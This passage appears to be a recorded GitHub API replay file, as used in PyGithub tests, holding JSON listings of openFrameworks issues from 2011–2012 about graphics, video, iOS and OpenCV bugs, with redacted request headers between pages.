status\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/566","comments":3,"milestone":null,"number":566,"html_url":"https://github.com/openframeworks/openFrameworks/issues/566","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofxSynth won't compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-05-07T12:25:01Z","state":"open","user":{"url":"https://api.github.com/users/benoitespinola","gravatar_id":"d08687285addcdde144d4eceb4cfa78e","login":"benoitespinola","avatar_url":"https://secure.gravatar.com/avatar/d08687285addcdde144d4eceb4cfa78e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":720460},"id":862321,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:48:58Z","body":"I'm fixing it using \r\n_textField.transform = CGAffineTransformMakeRotation(M_PI*1.5f);\r\nin - (void) setFrame: (CGRect) rect\r\nto fix it now.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/565","comments":1,"milestone":null,"number":565,"html_url":"https://github.com/openframeworks/openFrameworks/issues/565","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"Textfield in ofxiPhoneKeyboard upside down in landscape","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-05-05T14:20:42Z","state":"open","user":{"url":"https://api.github.com/users/labatrockwell","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","login":"labatrockwell","avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":313943},"id":853551,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=10 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4934'), ('content-length', '43807'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"78e9c565cba926f6a72fa2b7dd021b78"'), ('date', 'Tue, 29 May 2012 19:27:19 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-03T21:20:01Z","body":"Does anybody know the status of this?\r\nI would like to help but I'm not sure where to start. Is the `iphone-dev-0061` the branch to work on this?\r\nI just want to know what's been done or whether there are plans in the works.\r\n\r\nI have posted this in the forum but have not received any response.\r\nhttp://forum.openframeworks.cc/index.php/topic,4089.msg29156.html#msg29156","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/564","comments":1,"milestone":null,"number":564,"html_url":"https://github.com/openframeworks/openFrameworks/issues/564","assignee":null,"title":"ofxShader for iOS","labels":[],"closed_at":null,"created_at":"2011-05-04T18:35:58Z","state":"open","user":{"url":"https://api.github.com/users/chrisirhc","gravatar_id":"22d0038769b1786fcdc0983bdb2e4033","login":"chrisirhc","avatar_url":"https://secure.gravatar.com/avatar/22d0038769b1786fcdc0983bdb2e4033?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":132584},"id":850096,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-12T08:58:12Z","body":"it's compiling now but doesn't work in openGL ES.\r\n\r\nalso take a look at setupShadow generating depthBuffer as texture, when it's released as a renderbuffer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/560","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":560,"html_url":"https://github.com/openframeworks/openFrameworks/issues/560","assignee":null,"title":"fix ofFbo for openGL ES","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2011-04-30T17:21:39Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":833772,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-04-26T00:37:56Z","body":"nothing fancy, but I have an implementation of ofxCvHaarFinder that draws, and it's useful for debugging. something like:\n\n``` c++\n void ofxCvHaarFinder::draw( float x, float y ) {\n\t\t// ofPushStyle(); ?\n\t\tofEnableAlphaBlending();\n\t\tofSetColor( 255,0,200,100 );\n\t\tglPushMatrix();\n\t\t\n\t\tglTranslatef( x, y, 0.0 );\n\t\t\n\t\tofNoFill();\n\t\tfor( int i=0; i007 than <007. this can be changed in the ofStyle() constructor.\r\n\r\nalso, @elliotwoods it would be great to have a comment next to each of the constants in enum ofDrawBitmapMode explaining what they do.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/520","comments":1,"milestone":null,"number":520,"html_url":"https://github.com/openframeworks/openFrameworks/issues/520","assignee":null,"title":"ofDrawBitmapString default behavior has changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-04-01T06:37:16Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":723496,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-31T17:49:33Z","body":"it's obvious if you've used opengl directly before, but i would expect something more like:\r\n\r\n\tvoid ofSetTextureInterpolation(ofInterpolationType downscale, ofInterpolationType upscale)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/519","comments":0,"milestone":null,"number":519,"html_url":"https://github.com/openframeworks/openFrameworks/issues/519","assignee":null,"title":"ofSetMinMagFilters() is confusingly named","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-03-31T17:49:33Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":721833,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-17T00:51:48Z","body":"movieGrabberExample => videoGrabberExample\r\nmoviePlayerExample => videoPlayerExample\r\n\r\nthere are probably other examples of this, but this one strikes me as particularly odd. there's probably some historical reason... :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/510","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":510,"html_url":"https://github.com/openframeworks/openFrameworks/issues/510","assignee":null,"title":"movieGrabber/PlayerExamples are poorly named","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-03-22T06:47:02Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":693126,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-21T01:01:25Z","body":"i accidentally initialized my ofFbo with setupShadow() instead of setup(), and when i said draw() it caused EXC_BAD_ACCESS. draw() calls getTexture(), so maybe the best way to handle this is to put a check inside getTexture() like this:\r\n\r\n\tif(textures.size() == 0) {\r\n\t\tofLog(OF_LOG_ERROR, \"You must call ofFbo::setup() before you can use an FBO\");\r\n\t}\r\n\treturn textures[attachmentPoint];","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/507","comments":0,"milestone":null,"number":507,"html_url":"https://github.com/openframeworks/openFrameworks/issues/507","assignee":null,"title":"ofFbo::draw() causes EXC_BAD_ACCESS when setup() isn't called","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-03-21T01:01:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":689769,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-20T17:35:05Z","body":"i know the reason for this is because the mappings are OS and mouse dependent, and that it's GLUT slowing us down here, but i think we could at least add a guess like OF_MOUSE_LEFT = 0, OF_MOUSE_MIDDLE= 1, OF_MOUSE_RIGHT = 2, etc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/503","comments":0,"milestone":null,"number":503,"html_url":"https://github.com/openframeworks/openFrameworks/issues/503","assignee":null,"title":"no OF_MOUSE_LEFT or OF_MOUSE_RIGHT","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-03-20T17:35:05Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":688955,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:48:41Z","body":"you need to use bUse3D flag but even then graphics aren't saved to pdf as they look on screen. \r\ntry the OF_ORIENTATION_90_LEFT or 90_RIGHT to reproduce. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":502,"html_url":"https://github.com/openframeworks/openFrameworks/issues/502","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"ofSetOrientation doesn't work for cairo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-03-18T09:17:36Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":684091,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-18T03:56:02Z","body":"it looks like ofGLRenderer::drawString is currently overriding whatever the current blend mode is:\n\n\tglEnable(GL_BLEND);\n\tglBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n\nand then setting it back later.\n\ni'm guessing this is so the empty/alpha part of the bitmap font is drawn.\n\ninstead of using glBlendFunc i would suggest glAlphaFunc... but it looks like as of OpenGL ES 2.0 glAlphaFunc doesn't exist anymore :(\n\nnot sure what to do, but it's really weird to have ofSetColor(255) work, but not ofSetColor(255, 254). e.g.:\n\n\tofBackground(128);\n\tofEnableAlphaBlending();\n\tofSetColor(255, 254);\n\tofDrawBitmapString(\"255, 254\", 10, 20);\n\tofSetColor(255, 255);\n\tofDrawBitmapString(\"255, 255\", 10, 40);\n\tofDisableAlphaBlending();","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/501","comments":0,"milestone":null,"number":501,"html_url":"https://github.com/openframeworks/openFrameworks/issues/501","assignee":null,"title":"ofDrawBitmapString / ofGLRenderer::drawString doesn't work with alpha","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-03-18T03:54:34Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":683732,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-03T10:41:35Z","body":"right now ofImage::getPixelsRef() is always non-const, as well as ofImage::getPixels()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500","comments":4,"milestone":null,"number":500,"html_url":"https://github.com/openframeworks/openFrameworks/issues/500","assignee":null,"title":"missing const version of getPixelsRef()","labels":[],"closed_at":null,"created_at":"2011-03-14T19:14:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":672608,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=11 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4933'), ('content-length', '40272'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"b87c61471553096d60e5ff8b292ff704"'), ('date', 'Tue, 29 May 2012 19:27:20 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"osx movieplayer problem on reloading","html_url":"https://github.com/openframeworks/openFrameworks/issues/495","comments":0,"assignee":null,"updated_at":"2011-03-09T16:17:56Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=5729&view=unread#unread","number":495,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":659446,"closed_at":null,"created_at":"2011-03-09T16:17:56Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"GLUT 007 hack","html_url":"https://github.com/openframeworks/openFrameworks/issues/491","comments":0,"assignee":null,"updated_at":"2011-03-04T14:44:53Z","body":"it seems that some commented defines are still being preprocessed and making gdb behave weird:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=4&t=5602&view=unread#unread","number":491,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":646846,"closed_at":null,"created_at":"2011-03-04T14:44:53Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"close corners on basic shapes?","html_url":"https://github.com/openframeworks/openFrameworks/issues/490","comments":0,"assignee":null,"updated_at":"2011-03-03T16:35:17Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5678&view=unread#unread\r\n\r\nperhaps use style.linewith? won't work if you use glLineWidth though","number":490,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":643861,"closed_at":null,"created_at":"2011-03-03T16:35:17Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"893ec14dc008e3774afe5841115920d6","url":"https://api.github.com/users/jonbro","login":"jonbro","id":1597,"avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofOrientation incompatible with iOS addon","html_url":"https://github.com/openframeworks/openFrameworks/issues/486","comments":0,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-10T04:50:03Z","body":"the existing iOS orientation methods are not compatible with the virtual functions that they inherit from. The new virtuals use a ofOrientation enum, and the old functions use ints.\r\n\r\nThis issue was introduced in https://github.com/openframeworks/openFrameworks/commit/38011d54","number":486,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/486","labels":[{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":635112,"closed_at":null,"created_at":"2011-02-28T18:14:04Z"},{"milestone":{"state":"open","description":"","title":"0073 Release","due_on":"2012-07-30T07:00:00Z","closed_issues":0,"open_issues":5,"number":6,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":62090,"created_at":"2011-12-03T15:37:49Z"},"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"grabFrame/idleFrame deprecation","html_url":"https://github.com/openframeworks/openFrameworks/issues/484","comments":12,"assignee":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-24T21:04:32Z","body":"it would be nice to start deprecating grabFrame() and idleFrame() (but maybe wait a couple years to actually remove them) , and change the examples to only use update() and isFrameNew().","number":484,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/484","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":613171,"closed_at":null,"created_at":"2011-02-20T17:56:02Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"ace632f74988653fdbde09225134bfdd","url":"https://api.github.com/users/nemik","login":"nemik","id":62301,"avatar_url":"https://secure.gravatar.com/avatar/ace632f74988653fdbde09225134bfdd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVideoPlayer bug when loading subsequent movies after the first one","html_url":"https://github.com/openframeworks/openFrameworks/issues/475","comments":0,"assignee":null,"updated_at":"2011-02-14T17:11:08Z","body":"Within 0062, inside libs/openFrameworks/video/ofVideoPlayer.cpp on line 314 there is a check for height and width not being 0, then \"bDoWeAlreadyHaveAGworld = true;\" is set. However, this prevents other movies after the first from being loaded into that instance of ofVideoPlayer. \r\nI have posted about this in the forum with a fix (to just remove that check) here: http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5222\r\n\r\nInside the latest code, it is within ofQuickTimePlayer.cpp https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/video/ofQuickTimePlayer.cpp#L281.","number":475,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/475","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":598097,"closed_at":null,"created_at":"2011-02-14T17:11:08Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"object init/load state is not consistently testable","html_url":"https://github.com/openframeworks/openFrameworks/issues/463","comments":0,"assignee":null,"updated_at":"2011-02-07T19:58:23Z","body":"I like to be able to know when an object has successfully initialized or loaded and OF provides for this, for the most part, but in an inconsistent manner ie\r\n\r\nofVideoGrabber::initGrabber() returns a bool, but ofVideoGrabber:bInitialized is protected and therefore not accessible\r\n\r\nwhile\r\n\r\nofTrueTypeFont::bLoadedOk is public, but ofTrueTypeFont::loadFont() returns void\r\n\r\nand\r\n\r\nofImage::loadImage() returns a bool and ofLoadImage::bAllocated() returns a bool, yet ofImage::setFromPixels() returns void\r\n\r\nI propose all loadable/initable objects have loading functions which always return a bool and a testable function (isInited(), isLoaded(), etc) for use after loading. Ideally, the testable functions would always be named the same ie myImage.isLoaded(), myVideoGrabber().isLoaded(), myFont.isLoaded() but of course a general name may not apply to all situations (myVideoGrabber.isInited() probably makes more sense).\r\n\r\nHell, all the load functions could be overloaded ie ofImage::load(string filename), ofImage::load(ofPixels pixels), ofImage::load(unsigned char* pixels) across different objects, ofTrueTypeFont::load(string filename), ofVideoGrabber::load(int w, int h, int deviceID). This consistency looks nice to anal me. but might be confusing to newbies and of course would break old code (unless wrapped for legacy compatibility). It seems a little annoying that every objects seems to have it's own way of checking this and that ...","number":463,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":581395,"closed_at":null,"created_at":"2011-02-07T19:58:23Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"8022cb5f529975afbc64cc9312008d8c","url":"https://api.github.com/users/nardove","login":"nardove","id":277690,"avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"OpenCV cvSobel() not working with latest master branch","html_url":"https://github.com/openframeworks/openFrameworks/issues/462","comments":0,"assignee":null,"updated_at":"2011-02-07T15:58:19Z","body":"Hi,\r\n\r\nI get the following error:\r\n// INIT OF ERROR\r\nOF_WARNING: ofBaseVideoPlayer::setPixelFormat not implemented\r\nOpenCV Error: Assertion failed (src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F))) in cvSobel, file /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp, line 347\r\nterminate called after throwing an instance of 'cv::Exception'\r\n what(): /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp:347: error: (-215) src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F)) in function cvSobel\r\n// END OF ERROR\r\n\r\nWhen I try to call the cvSobel method like this:\r\ncvSobel( grayImage.getCvImage(), 